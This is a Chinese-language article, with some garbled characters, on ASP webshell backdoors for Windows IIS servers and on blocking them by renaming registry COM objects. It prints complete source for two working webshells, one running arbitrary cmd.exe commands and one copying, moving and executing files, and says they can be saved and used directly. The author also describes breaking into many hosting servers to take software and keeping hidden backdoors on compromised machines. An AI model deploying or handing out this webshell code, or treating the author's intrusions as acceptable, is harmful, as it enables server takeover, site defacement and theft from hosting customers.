隨著ASP 技術(shù)的發(fā)展,網(wǎng)絡(luò)上基于ASP技術(shù)開發(fā)的網(wǎng)站越來(lái)越多,對(duì)ASP技術(shù)的支持可以說(shuō)已經(jīng)是windows系統(tǒng)IIS服務(wù)器的一項(xiàng)基本功能。但是基于ASP技術(shù)的木馬后門,也越來(lái)越多,而且功能也越來(lái)越強(qiáng)大。由于ASP它本身是服務(wù)器提供的一貢服務(wù)功能,所以這種ASP腳本的木馬后門,不會(huì)被殺毒軟件查殺。被黑客們稱為"永遠(yuǎn)不會(huì)被查殺的后門"。由于其高度的隱蔽性和難查殺性,對(duì)網(wǎng)站的安全造成了嚴(yán)重的威脅。因此針對(duì)ASP木馬的防范和清除,為我們的網(wǎng)管人員提出了更高的技術(shù)要求。下面我結(jié)合個(gè)人的經(jīng)驗(yàn),談一下對(duì)兩款比較典型的ASP 木馬的防范方法,希望對(duì)大家能夠有所幫助。
以下是第一款木馬的代碼:
<title>ASP Shell</title>
<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
-- create the COM objects that we will be using --
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
-- check for a command that we have posted --
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
-- Use a poor mans pipe ... a temp file --
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="執(zhí)行命令">
</FORM>
<PRE><%
If (IsObject(oFile)) Then
-- Read the output from our command and remove the temp file --
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>
運(yùn)行后如下圖: 在命令行里輸入DIR命令點(diǎn)執(zhí)行就可以查看目錄了。∷梢允褂酶鞣NDOS命令,如:copy、net、netstat等。
但是它的默認(rèn)執(zhí)行權(quán)限只有GUEST,也就是IUSR_COMPUTER用戶的執(zhí)行權(quán)限。當(dāng)然如果你把IUSR_COMPUTER用戶加入管理員組,那么你就有管理員權(quán)限了。這一款木馬的特點(diǎn)是,使用很方便。幾乎就想當(dāng)于DOS命令行窗口xx作一樣。但是如果服務(wù)器限制了FSO(無(wú)組件上傳),那么它是沒(méi)有辦法使用了。還有就是在服務(wù)器以后增加的虛擬主機(jī)里也沒(méi)有辦法使用。只能在"默認(rèn) Web 站點(diǎn)"里使用,所以它相對(duì)的適用范圍較窄。
對(duì)于防范方法讓我們看一下它的代碼就知道了:
Set oScript = Server.CreateObject("WSCRIPT.SHELL") "建立了一個(gè)名為oScript的WSCRIPT.SHELL對(duì)象,用于命令的執(zhí)行"
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
上面三行代碼創(chuàng)建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三個(gè)對(duì)象,我們只要在注冊(cè)表中把控制WSCRIPT.SHELL對(duì)象的項(xiàng)改名或刪除就可以了。如下圖:值得注意的是:我們應(yīng)該把"WSCRIPT.SHELL"項(xiàng)和"WSCRIPT.SHELL.1"這兩項(xiàng)都要改名或刪除。因?yàn)槿缥覀冎恍薷?WSCRIPT.SHELL"項(xiàng)的話。那么黑客們只要把代碼修改如下:Set oScript = Server.CreateObject("WSCRIPT.SHELL.1") 這個(gè)后門木馬就又可以執(zhí)行了。
大家可能已經(jīng)想到了,我們?cè)趯?duì)"WSCRIPT.SHELL"項(xiàng)和"WSCRIPT.SHELL.1"改名時(shí),一定要不容易被黑客們猜到,因?yàn)槔纾耗惆?WSCRIPT.SHELL"改成了"WSCRIPT.SHELL888"。黑客們只要把代碼相應(yīng)的改成:Set oScript = Server.CreateObject("WSCRIPT.SHELL888"),木馬程序就又可以執(zhí)行了。還有就修改了注冊(cè)表以后要重起WEB服務(wù),設(shè)置才會(huì)有效。
接下來(lái)讓我們?cè)賮?lái)看下一款A(yù)SP后門木馬程序的代碼:
<%response.write "<font size=6 color=red>一次只能執(zhí)行一個(gè)xx作</font>" %>
<%response.write now()%><BR>程序所在的物理路徑:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>asps shell.application backdoor </title>
<body>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>"> 輸入要瀏覽的目錄<br>
<input type=text name=text1 value="<%=szCMD1 %>">
copy
<input type=text name=text2 value="<%=szCMD2 %>"><br>
<input type=text name=text3 value="<%=szCMD3 %>">
move
<input type=text name=text4 value="<%=szCMD4 %>"><br>
路徑:<input type=text name=text5 value="<%=szCMD5 %>">
程序:<input type=text name=text6 value="<%=szCMD6 %>"><br>
<input type=submit name=sb value=發(fā)送命令>
</form>
</body>
</html>
<%
szCMD = Request.Form("text") 目錄瀏覽
if (szCMD <> "") then
set shell=server.createobject("shell.application") 建立shell對(duì)象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
%> <%
szCMD1 = Request.Form("text1") 目錄拷貝,不能進(jìn)行文件拷貝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") 建立shell對(duì)象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="\" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%> <%
szCMD3 = Request.Form("text3") 目錄移動(dòng)
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") 建立shell對(duì)象
set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="\" then
path=left(szcmd3,i-1)
exit for
end if
next if len(path)=2 then path=path & "\"
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5") 執(zhí)行程序要指定路徑
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") 建立shell對(duì)象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>
執(zhí)行后如下圖:要查看目錄,只要輸入相應(yīng)的目錄,點(diǎn)發(fā)送命令就可以了。如下圖:
這個(gè)木馬程可以完成文件的COPY、MOVE,和執(zhí)行程序。但很多命令都不能用,例如:del、net、netstat等。這個(gè)木馬程的功能隨然簡(jiǎn)單,但是用它來(lái)黑一個(gè)網(wǎng)站是足夠了。比如,我們可以把網(wǎng)站的首頁(yè)MOVE到其它地方,然后我們?cè)貱OPY一個(gè)同名的黑客網(wǎng)頁(yè)進(jìn)去,就行了。
最要命的是這個(gè)木馬適用于任何虛擬主機(jī)之中,也就是說(shuō)我只要是服務(wù)器中的一個(gè)虛擬空間的用戶,我就可以傳這個(gè)木馬上去,并用它來(lái)修改其它任何用戶的主頁(yè)。所以如果哪些提供虛擬空間的服務(wù)商沒(méi)有打補(bǔ)丁的話,那真是死定了。
然而在我的實(shí)踐中發(fā)現(xiàn),中國(guó)很多的虛擬空間服務(wù)商,特別是一些小型的服務(wù)商都沒(méi)有打補(bǔ)丁。我利用這一漏洞拿到了很多虛擬空間服務(wù)器的ADMIN,然后好心的幫他們補(bǔ)上漏洞。當(dāng)然我也得到了我想得到的東西——很多好的軟件和代碼。我現(xiàn)在用著的很多ASP程序就是從他們那上面偷下來(lái),太難聽了,應(yīng)該說(shuō)DOWN下來(lái)的才對(duì)。
言歸正傳,我們應(yīng)該怎樣來(lái)防范這個(gè)ASP后門木馬程序呢?讓我們看一下它其中的這一句代碼:set shell=server.createobject("shell.application"),跟剛才的方法一樣,如下圖:
我們只要把"shell.application"項(xiàng)和"shell.application.1"項(xiàng)改名或刪除就可以了。記住了,如果是改名,要改得復(fù)雜一點(diǎn),不要讓黑客們一下就猜到了。順便說(shuō)一句,如果是你給肉雞打補(bǔ)丁最好是改名,并把名字記下來(lái),這樣也就成為自己一個(gè)隱密的后門了。最后對(duì)這兩款A(yù)SP木馬后門,以及如何防范ASP木馬后門做一下總結(jié):第一款木馬功能上強(qiáng)大一些, 但適用范圍窄,需要FSO支持也就是"Scripting.FileSystemObject"項(xiàng)的支持。第二款木馬雖然功能上少一些,但它創(chuàng)建的是"shell.application"對(duì)象。在任何虛擬主機(jī)中都適用。(這一點(diǎn)危害確實(shí)太大了,提供支持ASP空間的管理員們,你們可得注意了!)
其實(shí)跟據(jù)對(duì)上面兩款A(yù)SP木馬后門的防范,大家可能已經(jīng)想到了,對(duì)于ASP后門木馬的防范,我們只要在注冊(cè)表中把"shell.application"、"WSCRIPT.SHELL"等危險(xiǎn)的腳本對(duì)象(因?yàn)樗鼈兌际怯糜趧?chuàng)建腳本命令通道的)進(jìn)行改名或刪除,也就是限制系統(tǒng)對(duì)"腳本SHELL"的創(chuàng)建,ASP木馬也就成為無(wú)本之木、無(wú)米之炊,運(yùn)行不起來(lái)了。
注:以上代碼復(fù)制保存為ASP文件就可以直接使用了。(僅用于測(cè)試,不要搞破壞,后果自負(fù)。海
作者:佚名 來(lái)源:網(wǎng)絡(luò)